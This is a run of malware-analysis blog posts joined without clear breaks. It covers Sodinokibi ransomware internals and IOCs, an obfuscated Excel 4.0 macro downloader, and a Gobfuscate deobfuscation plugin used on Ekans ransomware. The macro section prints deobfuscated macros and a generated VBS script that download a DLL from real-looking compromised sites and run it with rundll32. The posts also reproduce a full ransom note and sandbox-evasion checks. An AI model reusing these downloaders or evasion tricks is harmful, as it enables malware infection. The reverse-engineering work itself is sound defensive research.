Next, Sodinokibi will use the Service Control Manager to loop through all active services and kill them. It does this by getting a handle to the SCManager object by calling OpenSCManager with “ServicesActive” as one of the arguments. Then it will use EnumServicesStatusExW to enumerate the returned services and compare each service name to the list in svc. If they match, then Sodinokibi will delete the service using the DeleteService function.

Function that deletes services using Service Control Manager

Finally, Sodinokibi will loop through any active processes using the Process32FirstW and Process32NextW functions and run the process name against the prc list. If the prc list contains the process name, then the process will be terminated using the TerminateProcess function.

Loop that will run active process handles through a function that will terminate them

Function that will take a process handle and terminate it if it’s in the prc list

Shadow Copy Deletion

When the -silent switch is not present, the Sodinokibi sample will spawn a thread that will delete any shadow copies that are present on the system. It will do this by using COM Objects similar to how it kills processes and services. Sodinokibi will run the query select * from Win32_ShadowCopy to retrieve an IEnumWbemClassObject object. It will enumerate each shadow copy object using the IEnumWbemClassObject::Next function, grab each ID, and delete it using the IWbemServices::Delete function. The delete function contains a string with the shadow copy’s ID in the form Win32_ShadowCopy.ID=<ID> as the parameter.

Function that will delete shadow copies using COM Objects

C2 Communication

When the net value in the configuration info is set to true, Sodinokibi will reach out to one of the Command and Control (C2) servers from the dmn list. First, it will split the list of domains by the “;” character. For each C2 in the list, Sodinokibi will build up an information string in the following format:

{
  "ver":"Version info (0x205, or 2.05 in this case)",
  "pid":"pid value from config",
  "sub":"sub value from config",
  "pk": "pk value from config, base64 decoded",
  "uid":"Volume Serial Number and CPU Info",
  "sk": "Private Key encrypted by the value of pk",
  "unm":"Account Username",
  "net":"Computer Name",
  "grp":"Computer Domain Name",
  "lng":"Language Used (i.e. en-us)",
  "bro":"Boolean returned by the language and keyboard check",
  "os": "Product Name",
  "bit":"Architecture Used (x32 or x64)",
  "dsk":"Base64 encoded information about the drives on the computer",
  "ext":"Generated extension used for encrypted files"
}

Sodinokibi will then take this JSON string and encrypt it using a third public key that is stored in the binary. It will use the same encryption method that was used to encrypt the generated secret key that was described earlier in this report. Once the JSON information is encrypted, Sodinokibi will take the C2 domain and start to build a random URL in the following form:

 https://<domain>/(wp-content|static|content|include|uploads|news|data|admin)/(images|pictures|image|temp|tmp|graphic|assets|pics|game)/([a-z]{2}){1,10}.(jpg|png|gif)

Sodinokibi will then send the data in a POST request with the following headers:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Content-Type: application/octet-stream
Connection: close

Function that handles connection for C2 domain, with renamed functions to make it clear what the function is doing

File Encryption

To perform file encryption, Sodinokibi uses I/O Completion Ports to speed up walking the file system. This essentially allows the ransomware to create multiple threads that will wait for a file handle. Once one is sent over, the first available thread will take it and encrypt the file using the Salsa20 Algorithm.

Code that will create a new completion port to use

Once the completion port is created, Sodinokibi will walk the local file system if the -nolocal command-line switch is not set. It will start by enumerating drives and checking the drive type using GetDriveTypeW. If the drive is valid, it will walk through the files in it using FindFirstFileExW and FindFirstFileW depending on the Windows version. It will also check each file and folder name against the fld, fls, and ext lists to see if it is whitelisted from being encrypted. It will also not encrypt a file if it is already marked as encrypted by the Windows File System.

If the nolan command-line switch is not set, then Sodinokibi will enumerate network shares. It will use WNetOpenEnumW and WNetEnumResourceW to get shares to which is can connect. To get permission to access these shares, Sodinokibi will attempt to impersonate the current user using the ImpersonateLoggedOnUser function. Sodinokibi will first grab the Process ID of “explorer.exe” and use that to grab the access token of the user. It can use that access token to access objects for which the user already has access.

Function that will encrypt remote drives

For every folder that Sodinokibi finds while walking the file system, it will write a ransom note to it. It will then compare a variable against the value of rdmcnt. If it is greater than rdmcnt, it will not write the note. If rdmcnt is equal to zero, then it will write notes in every folder regardless of the count. The count variable will then increment and the function will exit. This count variable is reset on every drive that gets encrypted, leading me to believe that the rdmcnt value dictates the maximum number of ransom notes Sodinokibi will write to a drive.

For each file, Sodinokibi will build a metadata structure that it will append to the end of the encrypted file. This value is part of the lpOverlapped structure that gets passed to the IO Completion Port. The structure can be defined as the following:

struct rvl_struct {
  BYTE priv_key_encrypted_w_config_pk[88],
  BYTE priv_key_encrypted_w_bin_pk[88],
  BYTE generated_pub_key[32],
  BYTE salsa20_IV,
  DWORD crc_of_pub_key,
  DWORD value_of_et,
  DWORD spsize,
  DWORD salsa20_encrypted_null_value
}

This structure is used to verify that the file is encrypted and is used to decrypt the file by the attacker. Using this structure, the operator can decrypt the generated private key and use that with the salsa20 IV to decrypt the file.

Once this metadata structure is set up, the file will be posted to the IO Completion Port to be encrypted by one of the spawned threads. Depending on the encryption type, Sodinokibi will either encrypt the entire file (et=0), only encrypt the first MB (et=1), or encrypt one MB of the file, skip spsize MBs then encrypt another MB and repeat (et=2). Once the file is encrypted, Sodinokibi will append the metadata blob to the end and move to the next file.

Once all files are encrypted, Sodinokibi will set the background image to display the text from the img value in the configuration. In this case, it will display:

All of your files are encrypted!

Find {EXT}-readme.txt and follow instuctions

Ransom Note Generation

The ransom note is stored as a Base64 encoded string in Sodinokibi’s configuration under the nbody field. The note in this sample contains:

---=== Welcome. Again. ===---

[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}.
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).

[+] Attention!!! [+]

Also your private data was downloaded.
We will publish it in case you will not get in touch with us asap.

[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.
To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.
If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money.

[+] How to get access on website? [+]

You have two ways:

1) [Recommended] Using a TOR browser!
  a) Download and install TOR browser from this site: https://torproject.org/
  b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID}

2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:
  a) Open your any browser (Chrome, Firefox, Opera, IE, Edge)
  b) Open our secondary website: http://decoder.re/{UID}

Warning: secondary website can be blocked, thats why first variant much better and more available.

When you open our website, put the following data in the input form:
Key:


{KEY}


-----------------------------------------------------------------------------------------

!!! DANGER !!!
DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data.
!!! !!! !!!
ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere.
!!! !!! !!!

The note contains three template variables: {UID}, {KEY}, and {EXT}. The {UID} variable will correspond with the CRC of the infected computer’s volume serial number and other information about the CPU. This data is used as a distinct identifier that Sodinokibi can use to keep track of the computer. The {EXT} value will correspond with the randomly generated extension that Sodinokibi will append to encrypted files. Finally, the {KEY} value is the encrypted JSON string that Sodinokibi will send to the Command and Control server. You can see how this is generated in the C2 Communication section of this post.

Function that will generate the ransom note body

Once the ransom note string is generated, Sodinokibi will write it to the filename specified in the nname field of the configuration, which in this sample is {EXT}-readme.txt. It will replace the {EXT} value of the filename with the randomly created extension, just like it does for the ransom note body.

Conclusion

Sodinokibi is a complex ransomware strain with many different features that the group continues to add to all the time. This latest version added the new SafeMode feature which is a smart way to bypass AV. There is definitely a lot to write about when it comes to this ransomware, and unfortunately, I could not cover it all in a single post. If you have any questions or comments about this analysis, feel free to reach out to me on my Twitter or LinkedIn.

Thanks for reading and happy reversing!

IOCs

SHA-256: 12d8bfa1aeb557c146b98f069f3456cc8392863a2f4ad938722cd7ca1a773b39

Registry Keys:

SOFTWARE\BlackLivesMatter\54k
SOFTWARE\BlackLivesMatter\Krdfp
SOFTWARE\BlackLivesMatter\a0w0
SOFTWARE\BlackLivesMatter\hq0G6X
SOFTWARE\BlackLivesMatter\XFx41h1r
SOFTWARE\BlackLivesMatter\x4WHjRs

Mutexes:

Global\F69C27FF-AB15-CCAA-A2D6-7F7ADA90E7E3

HTTP Headers:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Content-Type: application/octet-stream
Connection: close

URL Regex:

https:\/\/[^\/]+\/(wp-content|static|content|include|uploads|news|data|admin)\/(images|pictures|image|temp|tmp|graphic|assets|pics|game)\/(?:[a-z]{2}){1,10}\.(jpg|png|gif)

ATT&CK Methodologies

New Obfuscation Style

Instead of storing the encrypted data as a blob of characters in cells, the sample stores them as integers in Sheet1 of the document. It will then loop through these and subtract them from a stored key in R50C3:R59:C3. If the integer value at the current index of Sheet1 is greater than 1000, then the end of the string has been reached. This is very similar to the old sample, but the use of integer values seemed interesting to me.

Decryption function

Integer arrays in Sheet1

Anti-Analysis Tricks

Like the previous analysis, the document performs a lot of the same VM/Analysis checks such as: checking for the presence of a cursor, if macros are set to run by default, etc. This specific sample, however, had a few more tricks.

Xlcall32

The sample will use the =CALL macro to make a call to the Excel4 function from the Xlcall32 library. This is a callback function that is used to continue running the macros at a defined cell. This is a good way to prevent an analyst from just debugging the macros since this would spawn in a new process and won’t show in the debugger.

This will continue running the macros at R106C1 and evade debugging

In this sample, the call to Excel4 is dynamically generated via the deobfuscation code from earlier. When running the deobfuscation code, I will put a =HALT() instruction at the end to prevent further execution. Once the anti-analysis technique is bypassed, I will continue running the macros at the location passed as a parameter to Excel4. This gives the same results as calling the Excel4 function except now I can see what the code is doing.

Visualization of how I bypass the anti-analysis technique

Alternate Data Streams (ADS)

Alternate Data Streams (ADS) are a feature of the NT File System (NTFS) that allows a user to store additional content in a file apart from its original content. ADS is used legitimately for file integrity and storing metadata; however, attackers can use it to hide malicious code. In older versions of SQL Server, for example, the DBCC CHECKDB process would create alternate data streams to store information.

When a file is downloaded from the internet, it will contain an ADS called Zone.Identifier which has data about where the file originated. In this case, the sample I downloaded was from Zoho Docs, therefore, it contained that URL in the stream. This particular sample checks to see if the ADS is present by actually trying to delete the ADS itself. If this sample were run in a sandbox, there would be no ADS, thus triggering this anti-analysis technique and halting the execution of the macros.

The alternate data stream of the sample

Checking for Zone.Identifier alternate data stream by trying to delete it

C2s

As with the previous analysis, once all the checks are complete, the sample will reach out to C2s to try to grab the second stage payload and execute it. In this case, it appears to be a DLL that will be executed through rundll32.exe calling DllRegisterServer. Both of the C2s were down when I found the sample, so I could not get the second stage to continue the analysis.

Downloading the second stage from C2

Conclusion

Hopefully, this provided insight into a few anti-analysis techniques seen in the wild and can be a good reference to other analysts in the future. The call to Xlcall32 was new to me, and I had not seen the alternate data stream check used before. If you have any questions or comments on this analysis feel free to reach out to me on my Twitter or LinkedIn.

Thanks for reading and happy reversing!

How Gobfuscate Works

Package Renaming

One of the things gobfuscate will do is rename package names to make it harder for analysts to identify them. It does this by taking the package name, hashing it using sha256, and replacing any numbers in the hash with letters using the algorithm:

’g’ + (x – ‘0’) # x is the current character

This means that the package name contains only the characters a-p and is irreversible. The example that the gobfuscate GitHub page gives is that the package github.com/unixpickle/deleteme becomes jiikegpkifenppiphdhi/igijfdokiaecdkihheha/jhiofoppieegdaif.

String Encryption

Each string in the binary is replaced by a function call. Each function contains two byte-arrays that are Xor’d together to return the original string. There are a few different ways that the byte-arrays are stored after the binary is compiled. The first way was through a hardcoded array.

Normal byte-array XOR Loop

The byte-arrays can also be stored in pointers, which are run through the function stringslicetobyte and XOR’d together.

Byte-arrays being stored in pointers

These differentiations were noted when designing the deobfuscator, as not all functions will be the same. The names for the string decryption functions always contain funcN at the end, where N is an integer value. This makes them easy to spot and write a decryptor for.

How the Deobfuscator Works

Using Cutter’s API I was able to create a plugin that will either deobfuscate the string encryption function that the cursor is on or bulk deobfuscate all strings in the current method. To install the deobfuscator you will need to know the location in which Cutter stores plugins. You can find this by going to Edit -> Preferences -> Plugins in Cutter.

Plugin location for Cutter

Then download the python script from the GitHub repository and move it into the Python folder under plugins. Cutter will need to be reloaded after this. To use the plugin, right-click on a gobfuscate function then select either Plugins -> DeGobfuscate or Plugins -> Bulk DeGobfuscate. The decrypted string is added as a comment above the function. If the comment doesn’t appear right away, go to View -> Refresh Contents to refresh the screen, which should show the comment.

Example of encrypted string function

The deobfuscator utilizes Cutter’s API to loop through the assembly code in the function and grab the two byte-arrays that are present. It will then XOR these together and create a comment at the location. It also checks to see if the arrays are stored in either a pointer or are hardcoded into the function.

Ekans Analysis

The Ekans ransomware has been associated with attacks on Industrial Control Systems (ICS). Ekans does not rely on outside resources to perform its functions. Everything is stored within the binary itself, mostly using the gobfuscate string encryption functions. This makes it an ideal candidate for testing the degobfuscate plugin. You can find this specific sample on Hybrid Analysis. The first step in this analysis will be to use rizin-gohelper to recover the function names from the gopclntab.

The first thing the ransomware will do is attempt to create a Mutex Global\EKANS. If that Mutex already exists then execution will end. It will then create the public key object that it will use to encrypt files using RSA. The public key is stored in a string in the main.main function, which was encrypted by gobfuscate. After running the deobfuscator over this, the public key is shown in a comment above the decryption function. It is best to view multi-line comments in the disassembly view in Cutter since the graph view only shows the first line. This string will then be passed to Golang’s pem.Decode function and later the ParsePKCS1PublicKey function.

Creation of Public Key

After this, the ransomware will create an array of objects to whitelist. This includes file extensions, file names, directories, and a regex statement. The lists are:

• File extensions:
  • .docx
  • .dll
  • .exe
  • .sys
  • .mui
  • .tmp
  • .lnk
  • .config
  • .manifest
  • .tlb
  • .olb
  • .blf
  • .ico
  • .regtrans-ms
  • .devicemetadata-ms
  • .settingcontent-ms
  • .bat
  • .cmd
  • .ps1
• File names:
  • desktop.ini
  • iconcache.db
  • ntuser.dat
  • ntuser.ini
  • ntuser.dat.log1
  • ntuser.dat.log2
  • usrclass.dat
  • usrclass.dat.log1
  • usrclass.dat.log2
  • bootmgr
  • bootnxt
  • windir
  • SystemDrive
  • ntldr
  • NTDETECT.COM
  • boot.ini
  • bootfont.bin
  • bootsect.bak
  • desktop.ini
  • ctfmon.exe
  • iconcache.db
  • ntuser.dat
• Directories:
  • :\\$Recycle.Bin
  • :\\ProgramData
  • :\\Users\\All Users
  • :\\Program Files
  • :\\Local Settings
  • :\\Boot
  • :\\System Volume Information
  • :\\Recovery
  • \\AppData\\
• Regex:
  • .+\\Microsoft\\(User Account Pictures|Windows\\(Explorer|Caches)|Device Stage\\Device|Windows)\\

All of these strings were encrypted via gobfuscate, which is why the “bulk” option exists. Ekans will then enumerate drives and grab a list of all files that do not match the whitelists. This new file list will later be passed to worker threads for encryption.

Whitelist creation function

The ransomware will then kill a list of 288 hard-coded services. Instead of listing all of the services in this article here, you can find them here. The Ekans process will then kill a list of 1118 processes, which are also included in the linked repository. Ekans will then delete shadow copies using a WbemScripting.SWbemLocator object with the following WMI query:

SELECT * FROM Win32_ShadowCopy

After this, the ransomware will create several threads and pass in the filenames to these via GolLang’s channel functions. The threads will take the filenames, encrypt the files, and write them back to disk.

Loop used to create encryption threads

Finally, the ransom note is dropped to the file Fix-Your-Files.txt. The note itself is hard-coded and uses the sprintf function with the ransomware author’s email to format the note, which in this case is bapcocrypt@ctemplar.com.

Unformatted Ransom Note

Conclusion

I did not want to delve too deep into the Ekans ransomware analysis as this was to demonstrate the usefulness of the degobfuscator plugin. This was my first attempt at making a plugin for Cutter and I enjoyed the challenge very much. I am excited to see what Cutter has in store for the future and will continue to make plugins for it to aid other analysts. As always, if you have any questions feel free to reach out to me on my Twitter or LinkedIn.

Thanks for reading and happy reversing!

Initial Analysis

Upon opening the Excel document, we can see a message stating that this document was created in a previous version of Excel and to click “Enable Editing” and “Enable Content” to fix the issue. If we scroll passed this message we can see a blob of data being stored in cells D86:D124 and J83:J143. We can also see that there are two sheets present, Sheet1 and JyhBz. If we do a search for “=” in the second sheet we can see where the macros are being stored (G71:G204). To make them more legible I copied the cells into a separate text file, removed the unneeded whitespace, and tabbed loops and if-statements.

VPYBVp=(0)+TRUNC(FALSE)
sozIcSWorX=VPYBVp
gYaBPZCIcO=VPYBVp
mvIJwRSUK=COUNTA(ACvtk)
FceKgp=COUNTA(ByMoNbAyhW)
=WHILE(NOT(ABS(sozIcSWorX)>=ABS(mvIJwRSUK)))
    bXTBeZNN=""
    sozIcSWorX=sozIcSWorX+VALUE("1")
    easYHytNwG=HLOOKUP("*",ACvtk,sozIcSWorX,FALSE)
    yCJus=LEN(easYHytNwG)
    SnowNiiAMUD=VPYBVp
    =WHILE(NOT(ABS(SnowNiiAMUD)>=ABS(yCJus)))
        SnowNiiAMUD=SnowNiiAMUD+VALUE("1")
        smPHqgX=MID(easYHytNwG,SnowNiiAMUD,1)
        qIulMwjOCWb=CODE(smPHqgX)
        fKIGlaHWRB=MOD(gYaBPZCIcO,FceKgp)+VALUE("1")
        uBdhH=VALUE(HLOOKUP("*",ByMoNbAyhW,fKIGlaHWRB,FALSE))
        YwPkVFIXiyQV=T(CHAR(INT(ROUNDUP(qIulMwjOCWb,0)-ROUNDUP(uBdhH,0))))
        bXTBeZNN=bXTBeZNN&YwPkVFIXiyQV
        gYaBPZCIcO=gYaBPZCIcO+VALUE("1")
    =NEXT()
    coEDhhe=ADDRESS(uoGZYFlU,ufOaqqZuJ,,FALSE,"JyhBz")
    =INT(T(FORMULA(T(bXTBeZNN)&"",""&T(coEDhhe))))
    uoGZYFlU=uoGZYFlU+VALUE("1")
=NEXT()
=RETURN()
VcCVdYiJ=R71C7
ACvtk=Sheet1!R86C4:R124C4
ByMoNbAyhW=R93C14:R102C14
uoGZYFlU=204
ufOaqqZuJ=7
=VcCVdYiJ()
=HALT()

Data Blob seen on Sheet1

The code is defining the function VcCVdYiJ at Row 71 Column 7 with the command VcCVdYiJ=R71C7. It will then get the first blob of data in Sheet1 from Column 4 and store that in the variable Acvtk. Then, what appears to be an integer array at N93:N102 is being stored into the variable ByMoNbAyhW. This will most likely be the key used to deobfuscate/decrypt the blob of data from Sheet1. It will then set the variables uoGZYFlU and ufOaqqZuJ to 207 and 7 respectively, then call the function VcCVdYiJ.

Integer array that could be a possible decryption key

The function VcCVdYiJ will loop through each character of the encoded blob and subtract the char code of it from the value of the key at the current index and write that at row uoGZYFlU and column ufOaqqZuJ. An easy way to see the decoded output would be to put a =HALT() statement at the end of the function, so the document won’t continue executing malicious macros. I also changed around the values to write the output to column 3, row 1 to make it easier to read. I also rewrote the variable names and location of the key to make it clear what the program is doing. After running the macros you can see that more macros are written into column 3.

=FORMULA("'"&TEXT(INT(APP.MAXIMIZE())+114,"0"), R82C18)
=FORMULA("'"&TEXT(INT(OR(GET.WINDOW(7),GET.WORKSPACE(31),GET.WORKSPACE(13)<800,GET.WORKSPACE(14)<390))+109,"0"),R83C18)
=FORMULA("'"&TEXT(INT(AND(GET.WINDOW(20),GET.WORKSPACE(19),GET.WORKSPACE(42),GET.WORKSPACE(43),GET.WORKSPACE(15)=3))+120,"0"),R84C18)
=FORMULA("'"&TEXT(INT(AND(MID(GET.DOCUMENT(76),2,LEN(GET.DOCUMENT(88)))=MID(GET.WINDOW(1),2,LEN(GET.DOCUMENT(88))),MID(GET.WINDOW(1),2,LEN(GET.DOCUMENT(88)))=MID(GET.WINDOW(30),2,LEN(GET.DOCUMENT(88)))))+109,"0"),R85C18)
=FORMULA("'"&TEXT(INT(AND(GET.DOCUMENT(88)=GET.WINDOW(31),GET.WINDOW(31)=GET.WORKBOOK(16),GET.WORKBOOK(16)=INDEX(WINDOWS(),1),INDEX(WINDOWS(),1)=MID(GET.DOCUMENT(76),2,LEN(GET.DOCUMENT(88)))))+117,"0"),R86C18)
=NOW()
=WAIT(NOW()+"00:00:01")
=NOW()
=FORMULA("'"&TEXT(INT((R211C7-R209C7)*100000>1)+120,"0"),R87C18)
p="C:\Users\Public\"
n="\r"
=FOPEN(p&"nqSO.dat",3)
=WHILE(FSIZE(R215C7)<5593)
=FWRITE(R215C7,CHAR(RANDBETWEEN(33,125)))
=NEXT()
=FORMULA("'"&TEXT(INT(FSIZE(R215C7)=5593)+106,"0"),R88C18)
=FCLOSE(R215C7)
=FILE.DELETE(p&"nqSO.dat")
=ERROR(FALSE)
=EXEC("explorer C:\Windows\System32\cmd.exe")
=WAIT(NOW()+"00:00:01")
=APP.ACTIVATE("C:\Windows\System32\cmd.exe", FALSE)
=APP.ACTIVATE("Administrator: C:\Windows\System32\cmd.exe", FALSE)
=SEND.KEYS("reg query HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security /v VBAWarnings > "&p&"TKw5M.txt"&n&"exit"&n, TRUE)
=APP.ACTIVATE(, FALSE)
=WHILE(ISERROR(FILES(p&"TKw5M.txt")))
=WAIT(NOW()+"00:00:01")
=NEXT()
=FOPEN(p&"TKw5M.txt",2)
=FREAD(R232C7,200)
=FCLOSE(R232C7)
=FILE.DELETE(p&"TKw5M.txt")
=SUM(1,1)
=FORMULA("'"&TEXT(INT(ISNUMBER(SEARCH("0x1",R233C7)))+132,"0"),R89C18)
ACvtk=Sheet1!R83C10:R143C10
ByMoNbAyhW=R82C18:R89C18
uoGZYFlU=260
ufOaqqZuJ=7
=VcCVdYiJ()

Output after running the macros. On the left you see the original code and on the right is the newly deobfuscated code

Second Round of Deobfuscation and Sandbox/Debugging Evasion

The second set of macros appear to be calling the VcCVdYiJ function again. This time it will be using the encrypted blob at J83:J143 in Sheet1. We can also see that there should be another integer array at Row 82, Column 14, but when we navigate there we don’t see any data. This is because the first few lines will fill in the data by adding a constant value by the output of a boolean operation. The boolean operations will use the GET.WINDOW, GET.WORKBOOK, GET.DOCUMENT and GET.WORKSPACE operations to make anti-analysis checks. This could potentially mess up the decryption process so the execution could not continue. Some of the checks that it makes are:

• GET.WINDOW:
  • 1: Name of workbook and sheet in active window
  • 7: Whether or not window is hidden
  • 20: Whether or not window is maximized
  • 30: Title of active sheet
  • 31: Title of workbook
• GET.WORKBOOK:
  • 16: Name of workbook
• GET.WORKSPACE:
  • 2: Version of Excel running
  • 13: Usable workspace width
  • 14: Usable workspace height
  • 15: Returns number depending on if window is maximized or minimized
  • 19: Whether or not the mouse is present
  • 31: Whether or not we are running macros in single-step mode
  • 42: Whether or not the computer is capable of playing sounds
  • 43: Whether or not the computer can record sounds
• GET.DOCUMENT:
  • 76: Returns name of active sheet
  • 88: Returns name of active workbook

These values can be found using the “Excel 4.0 Macro Functions Reference” guide that can be found here. Using this information we can hardcode the integer array wherever we want, and point the second set of macros at it in order to decrypt the blob. The first check make will run APP.MAXIMIZE and add the return value by 114. The APP.MAXIMIZE function should return 1 if successful, so our first integer is 115. The next check will see if the window is hidden, if we are running macros in single-step mode, whether or not the width is less than 800, or the height is less than 390 and add the value to 109. All of these should be false as they indicate a sandbox or debugging environment, so the second integer is 109. The third check will see if the window is maximized and the computer can play and record sounds and add the boolean value to 120. This should all be true, so our third integer is 121. The fourth check will see if the active sheet is the same as the current sheet we are viewing and add the boolean output to 109, again this should be true so the fourth integer is 110. The fifth check just verifies the title of the workbook and adds the boolean result to 117, so the fifth integer is 118.

The other three checks are a bit more interesting, and don’t use the same techniques as the ones above. The sixth check will get the current time, wait one millisecond, get the time again and calculate the delta between them. It will then see if the delta is greater than one millisecond and add the boolean result to 120. The result should be true, thus the sixth integer is 121. The seventh check will open the file C:\Users\Public\nqSO.dat and write 5593 random bytes to it. It will then check if the length of the file is 5593 bytes long and add the boolean to 106. Obviously this should be true, so the seventh integer is 107. The final check will perform a reg query to check the value of VBAWarnings under Excel\Security and write the output to C:\Users\Public\TKw5M.txt. It will then check to see if the value 0x1 exists in the file and adds the boolean to 132. If the value of VBAWarnings is 1 then that means that all macros are enabled by default, and is a good indicator that the malware is running in a sandbox, so we want the return value to be False, making the last integer in the array 132. The final integer array is:

115, 109, 121, 110, 118, 121, 107, 132

We can now plug this into the spreadsheet and change the values of uoGZYFlU and ufOaqqZuJ to output the decrypted data in Column 5, Row 1 instead of Column 7, Row 260. When we run the second set of macros we should now get the next set of decrypted data.

Output from running the second set of macros with our calculated key

The deobfuscated output is:

=IF(ISNUMBER(SEARCH("32",GET.WORKSPACE(1))),,GOTO(R291C7))
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://redcloud.com.my/wp-crun.php",p&"ZYco.html",0,0)
=FILES(p&"ZYco.html")
=IF(ISERROR(R262C7),GOTO(R268C7),)
=FOPEN(p&"ZYco.html")
=FSIZE(R264C7)
=FCLOSE(R264C7)
=IF(R265C7<40000,,GOTO(R283C7))
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://shmncbd.com/wp-crun.php",p&"ZYco.html",0,0)
=FILES(p&"ZYco.html")
=IF(ISERROR(R269C7),GOTO(R275C7),)
=FOPEN(p&"ZYco.html")
=FSIZE(R271C7)
=FCLOSE(R271C7)
=IF(R272C7<40000,,GOTO(R283C7))
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://dezautosam.ro/wp-crun.php",p&"ZYco.html",0,0)
=FILES(p&"ZYco.html")
=IF(ISERROR(R276C7),GOTO(R282C7),)
=FOPEN(p&"ZYco.html")
=FSIZE(R278C7)
=FCLOSE(R278C7)
=IF(R279C7<40000,,GOTO(R283C7))
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://slminvestonline.com/visitors.php",p&"ZYco.html",0,0)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.")
=EXEC("explorer C:\Windows\System32\cmd.exe")
=WAIT(NOW()+"00:00:01")
=APP.ACTIVATE("C:\Windows\System32\cmd.exe", FALSE)
=APP.ACTIVATE("Administrator: C:\Windows\System32\cmd.exe", FALSE)
=SEND.KEYS("rundll32 "&p&"ZYco.html,DllRegisterServer"&n&"exit"&n, TRUE)
=APP.ACTIVATE(, FALSE)
=CLOSE(FALSE)
=FOPEN(p&"TKw5M.txt",3)
=FWRITELN(R291C7,"w0me = ""https://redcloud.com.my/wp-crun.php"""&n&"HrS6 = ""https://shmncbd.com/wp-crun.php""")
=FWRITELN(R291C7,"QVsfJ = ""https://dezautosam.ro/wp-crun.php"""&n&"CZS37y = ""https://slminvestonline.com/visitors.php""")
=FWRITELN(R291C7,"UP6y8DW = Array(w0me,HrS6,QVsfJ,CZS37y)"&n&"Dim vvtOz: Set vvtOz = CreateObject(""MSXML2.ServerXMLHTTP.6.0"")")
=FWRITELN(R291C7,"Function lfI(data):"&n&"vvtOz.setOption(2) = 13056"&n&"vvtOz.Open ""GET"",data,False")
=FWRITELN(R291C7,"vvtOz.Send"&n&"lfI = vvtOz.Status"&n&"End Function"&n&"For Each keS in UP6y8DW")
=FWRITELN(R291C7,"If lfI(keS) = 200 Then"&n&"Dim tA0nF3d: Set tA0nF3d = CreateObject(""ADODB.Stream"")")
=FWRITELN(R291C7,"tA0nF3d.Open"&n&"tA0nF3d.Type = 1"&n&"tA0nF3d.Write vvtOz.ResponseBody")
=FWRITELN(R291C7,"tA0nF3d.SaveToFile """&p&"ZYco.html"",2"&n&"tA0nF3d.Close"&n&"Exit For"&n&"End If"&n&"Next")
=FCLOSE(R291C7)
=EXEC("explorer C:\Windows\System32\cmd.exe")
=WAIT(NOW()+"00:00:01")
=APP.ACTIVATE("C:\Windows\System32\cmd.exe", FALSE)
=APP.ACTIVATE("Administrator: C:\Windows\System32\cmd.exe", FALSE)
=SEND.KEYS("rename "&p&"TKw5M.txt yoe2.vbs"&n&"exit"&n, TRUE)
=APP.ACTIVATE(, FALSE)
=EXEC("explorer.exe "&p&"yoe2.vbs")
=WHILE(ISERROR(FILES(p&"Zyco.html")))
=WAIT(NOW()+"00:00:01")
=NEXT()
=FILE.DELETE(p&"yoe2.vbs")
=WAIT(NOW()+"00:00:02")
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.")
=EXEC("explorer C:\Windows\System32\cmd.exe")
=WAIT(NOW()+"00:00:01")
=APP.ACTIVATE("C:\Windows\System32\cmd.exe", FALSE)
=APP.ACTIVATE("Administrator: C:\Windows\System32\cmd.exe", FALSE)
=SEND.KEYS("rundll32 "&p&"ZYco.html,DllRegisterServer"&n&"exit"&n, TRUE)
=APP.ACTIVATE(, FALSE)
=CLOSE(FALSE)

Final Set of Macros

This final set of macros will check whether or not we are running in a 32-bit environment using GET.WORKSPACE(1). If we are running on an x32 machine it will write out a VBS script to C:\Users\Public\yoe2.vbs and run it. This script will loop through an array of C2s and try to download a .DLL file from them and write that to C:\Users\Public\ZYco.html. If we are not running in a 32-bit environment, the macros will call the function URLDownloadToFileA using the =CALL function. It appears to reach out to the same C2s for the same file and will write it to the same location as the x32 branch. Once the .DLL is downloaded, the macros will run it using rundll32.exe, calling the DllRegisterServer export. Unfortunately I have been unable to find a sample with a C2 that is still up, and instead have received red herrings pointing towards fake .DLL files that are a normal “Hello World” program.

Conclusion

Unfortunately with the C2s being down I am unable to continue the analysis into the second stage, but hope that other analysts can benefit from this writeup. I have seen this obfuscation technique used a few times in the wild, so I wanted to give an overview of how it works. If you would like more information on this there is an excellent video by Colin Hardy that you can find here where they walk through a similar sample. If you have any additional questions or comments feel free to reach out to me on my Twitter or LinkedIn.

Thanks for reading and happy reversing!